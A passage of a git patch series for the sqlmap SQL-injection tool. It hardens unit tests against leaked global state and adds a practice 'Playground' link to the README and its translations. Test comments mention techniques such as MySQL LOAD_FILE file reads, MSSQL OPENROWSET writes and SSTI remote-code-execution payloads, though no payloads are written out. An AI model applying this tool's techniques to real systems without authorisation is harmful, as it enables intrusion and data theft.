TestCommonChunkSplit(unittest.TestCase): random.choice, random.randint, random.sample, random.seed = _saved def test_chunk_split_terminator(self): - import random from lib.core.common import chunkSplitPostData - random.seed(123) # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 353252f8e..6eb4e6bcf 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -25,6 +25,7 @@ logic fails the test. No live target / network / DBMS involved. import os import sys +import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) @@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase): def test_fileEncode_reads_then_encodes(self): # fileEncode must read the file bytes and delegate to fileContentEncode path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"hello") try: @@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase): # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # 5 bytes captured = {} @@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase): def test_checkFileLength_size_differs(self): set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # local 5 self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") @@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase): # OPENROWSET-building branch runs in isolation. set_dbms("Microsoft SQL Server") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"ABCD") # 4 bytes stacked = [] @@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase): # non-positive remote size -> treated as "not written" -> sameFile False set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"x") self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) @@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase): # stackedWriteFile and return its result. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"data") calls = {} diff --git a/tests/test_ldap.py b/tests/test_ldap.py index f590dcfb8..469f4fed2 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -16,6 +16,21 @@ bootstrap() import lib.techniques.ldap.inject as ldap +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + # --- Helpers ---------------------------------------------------------------- SENTINEL = ldap.SENTINEL diff --git a/tests/test_nosql.py b/tests/test_nosql.py index 3703471f8..d09872726 100644 --- a/tests/test_nosql.py +++ b/tests/test_nosql.py @@ -18,6 +18,21 @@ bootstrap() import lib.techniques.nosql.inject as ni +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + SECRET = "S3cr3t_9" MATCH = "Welcome user; rows: alpha, bravo, charlie" NOMATCH = "Invalid credentials; no rows" diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py index 3f6edcf50..6d777ef21 100644 --- a/tests/test_pagecontent.py +++ b/tests/test_pagecontent.py @@ -60,6 +60,7 @@ class TestExtractTextTagContent(unittest.TestCase): class TestParseSqliteTableSchema(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) kb.data.cachedColumns = {} def _cols(self): diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py index 04f97941a..f0271bf9c 100644 --- a/tests/test_payload_marking.py +++ b/tests/test_payload_marking.py @@ -28,6 +28,24 @@ from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REG # change there is reflected here too. MARK = CUSTOM_INJECTION_MARK_CHAR +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + def classify(d): if re.search(JSON_RECOGNITION_REGEX, d): diff --git a/tests/test_purge.py b/tests/test_purge.py index b4520f404..c532d7b73 100644 --- a/tests/test_purge.py +++ b/tests/test_purge.py @@ -83,7 +83,10 @@ class TestPurge(unittest.TestCase): nonempty = [p for p in survivors if os.path.getsize(p) > 0] self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) - blob = b"".join(open(p, "rb").read() for p in survivors) + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() for secret in plaintexts.values(): self.assertNotIn(secret.encode("utf-8"), blob, msg="original plaintext %r survived the purge" % secret) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py index 5343ef952..4195ed8b1 100644 --- a/tests/test_sgmllib.py +++ b/tests/test_sgmllib.py @@ -191,6 +191,7 @@ class TestEntityConversion(unittest.TestCase): class TestCustomEntitydefs(unittest.TestCase): def test_custom_entity(self): p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide p.entitydefs["copy"] = "\xa9" p.feed("©") p.close() diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 96b714bc0..8a5e15e9a 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -393,8 +393,7 @@ class TestExecuteCommand(unittest.TestCase): def tearDown(self): ssti._send = self.original_send - if self.original_dumper is not None: - ssti.conf.dumper = self.original_dumper + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) def test_error_page_skipped(self): """RCE payload that triggers a template error is skipped; next payload tried.""" diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py index a0e05ac85..74c14c071 100644 --- a/tests/test_targeturl.py +++ b/tests/test_targeturl.py @@ -26,6 +26,20 @@ bootstrap() from lib.core.common import parseTargetUrl from lib.core.data import conf +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + def _parse(url): conf.url = url diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py index 2726e6747..0df01ee7a 100644 --- a/tests/test_texthelpers.py +++ b/tests/test_texthelpers.py @@ -46,6 +46,7 @@ class TestFilterStringValue(unittest.TestCase): class TestParseFilePaths(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) kb.absFilePaths = set() def test_unix_paths_from_php_error(self): diff --git a/tests/test_threads.py b/tests/test_threads.py index 28a852850..602d2c5ac 100644 --- a/tests/test_threads.py +++ b/tests/test_threads.py @@ -38,6 +38,7 @@ class TestThreadData(unittest.TestCase): # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. main = T.getCurrentThreadData() self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests main.retriesCount = 111 From 2b9fd6cf82e9b716d2d176bab5834fb46fe4447c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 10:10:29 +0200 Subject: [PATCH 129/165] Minor update of the references --- README.md | 1 + data/txt/sha256sums.txt | 60 +++++++++++++++---------------- doc/translations/README-ar-AR.md | 1 + doc/translations/README-bg-BG.md | 1 + doc/translations/README-bn-BD.md | 1 + doc/translations/README-ckb-KU.md | 1 + doc/translations/README-de-DE.md | 1 + doc/translations/README-es-MX.md | 1 + doc/translations/README-fa-IR.md | 1 + doc/translations/README-fr-FR.md | 1 + doc/translations/README-gr-GR.md | 1 + doc/translations/README-hr-HR.md | 1 + doc/translations/README-id-ID.md | 1 + doc/translations/README-in-HI.md | 1 + doc/translations/README-it-IT.md | 1 + doc/translations/README-ja-JP.md | 1 + doc/translations/README-ka-GE.md | 1 + doc/translations/README-ko-KR.md | 1 + doc/translations/README-nl-NL.md | 1 + doc/translations/README-pl-PL.md | 1 + doc/translations/README-pt-BR.md | 1 + doc/translations/README-rs-RS.md | 1 + doc/translations/README-ru-RU.md | 1 + doc/translations/README-sk-SK.md | 1 + doc/translations/README-tr-TR.md | 1 + doc/translations/README-uk-UA.md | 1 + doc/translations/README-vi-VN.md | 1 + doc/translations/README-zh-CN.md | 1 + lib/core/settings.py | 2 +- lib/utils/api.py | 4 +-- sqlmapapi.yaml | 12 +++---- 31 files changed, 66 insertions(+), 39 deletions(-) diff --git a/README.md b/README.md index fbaddcaab..05fd78027 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,7 @@ Links * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a894ed054..d51e81eb4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -90,32 +90,32 @@ ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queri ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md 8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md -2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md -c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md -e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md -00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md -f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md -163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md -70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md -a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md -f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md -bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md -27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md -830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md -40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md -379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md -754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md -2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md -c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md -95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md -b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md -3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md -7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md -bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md -ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md -5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md -c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md -c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md +08392b358c91c79310741c11181572ac0d9c805bf9b65e93cfe6165d569e1918 doc/translations/README-ar-AR.md +692cb9911393212d0cc7115e4e281a0c7368c11060ce41140e878d02a3c9b4fc doc/translations/README-bg-BG.md +9d84fd48b533abbf987d3758c5382a4ba671d3b0499eec301965dc7061cd8794 doc/translations/README-bn-BD.md +65253be0f258af1315cd3dafe555788007537f562e4767cd62d16deff940ea9e doc/translations/README-ckb-KU.md +a879590d8df8e45dfc1a23099446a5f68b8587c31ecfcb735f326a347ccff706 doc/translations/README-de-DE.md +0d9cae50c55529bb0aa0523b7b7b0621d4e32a1ce2bbcfa214139b3d038c555b doc/translations/README-es-MX.md +c3024073cb28099f3acfa406a73e71c91c9a02e193964ed291dbff6b90427334 doc/translations/README-fa-IR.md +10ea504f41be97369f50cefe76bc28cfc629b26a6bf384b8d70e881c96dc0923 doc/translations/README-fr-FR.md +b6aa61ad27714a55c70265570145ce7ee335b9050745e648dcea48721eaf334a doc/translations/README-gr-GR.md +22351d0474d0272d8dc6551adb31c96a6ca1085e01f608ab0c00802680a2a40b doc/translations/README-hr-HR.md +782ba3afa853ace3a69811ed607639978934001f2217325880342e3f1873f4a2 doc/translations/README-id-ID.md +46990bbb2909c3045f95c726b22ff9058ded37ad6a5485886e2c576a5864278a doc/translations/README-in-HI.md +3f9dd7c6ef325d504841314c13356e416468d6a6f8ed8aab1ed4a5537fd3908b doc/translations/README-it-IT.md +39958aa346a5e0db2c330ec45d216764bef19cd660b87dc0f5251f93d501f5a3 doc/translations/README-ja-JP.md +0cf573bcae1454c34eb682e6aa2cbf1f215f4cd6434d088dd9ae3d32d2fedb67 doc/translations/README-ka-GE.md +e1798fb6d4f5369de0c6cd4c03b42082d918992e1744ee180d7e55736af6099e doc/translations/README-ko-KR.md +40a61f100da538bff95af4a582f0856aa36e5d7c5f27c20878688fd48fcd8f98 doc/translations/README-nl-NL.md +9005009f5db979677e4a5fd8282fee28086029a9483be770fdbf375674223709 doc/translations/README-pl-PL.md +4a3e59a37cd9f5ad9dce349a95b5f7e8cbb074548a6b8086129f5e9eda7fd72b doc/translations/README-pt-BR.md +93540499d004d893d4d1f79894824f28ab31f57d3ed9d698a25d08179dbe063c doc/translations/README-rs-RS.md +9732f6e022bf353543e7e762c64e927c2503325cefc42f57a90efb2b43d64055 doc/translations/README-ru-RU.md +dfc5bfe69122fde6c933b2c71e71da7c21ad15f5a3c74f9201d3360ce47df5d2 doc/translations/README-sk-SK.md +bd05734a41844fff3a304d137b95422a76ad2737b304f762e44883da7d8a147f doc/translations/README-tr-TR.md +81912ba386b468fdc95c0bdddf6bbee5154b43af579b6cee2be752d54ff490a4 doc/translations/README-uk-UA.md +ac826cb38a3c0c6ce66c3deec79e72ce526f3fdc9c664c844bcdbdbc73aeae5e doc/translations/README-vi-VN.md +a46681b34b3e5c5cd6cbd926f19b6aa104b3f202e600289565d443e57850c8d4 doc/translations/README-zh-CN.md 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py +f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py +d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -507,9 +507,9 @@ da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generi cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py 38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md +b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml +9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf 80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index ecbb83d85..6def1dae2 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -65,4 +65,5 @@ * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ساحة التدريب: https://sekumart.sekuripy.hr * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index d66b5301e..eac60822f 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнения: https://sekumart.sekuripy.hr * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 8e4cfe369..2cff7d252 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনুশীলন সাইট: https://sekumart.sekuripy.hr * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index db8139553..02471d311 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 65d96220e..abb9cea3a 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -46,4 +46,5 @@ Links * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index f85f4862f..a2878800d 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -46,4 +46,5 @@ Enlaces * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index eb84e4109..2f3cbf313 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -81,4 +81,5 @@ * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 4d867898b..02bfe0d89 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -46,4 +46,5 @@ Liens * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 0d5e04465..161280fe8 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -47,4 +47,5 @@ * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Χώρος δοκιμών: https://sekumart.sekuripy.hr * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 45d5eaad1..4807f57d6 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -47,4 +47,5 @@ Poveznice * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Vježbalište: https://sekumart.sekuripy.hr * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index f82bf71d2..5a35ec384 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -50,4 +50,5 @@ Tautan * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index b311f81af..61aaec255 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभ्यास स्थल: https://sekumart.sekuripy.hr * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 6b074141b..66c7e662a 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -47,4 +47,5 @@ Link * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index d43e3f563..e544a9a45 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr * スクリーンショット: 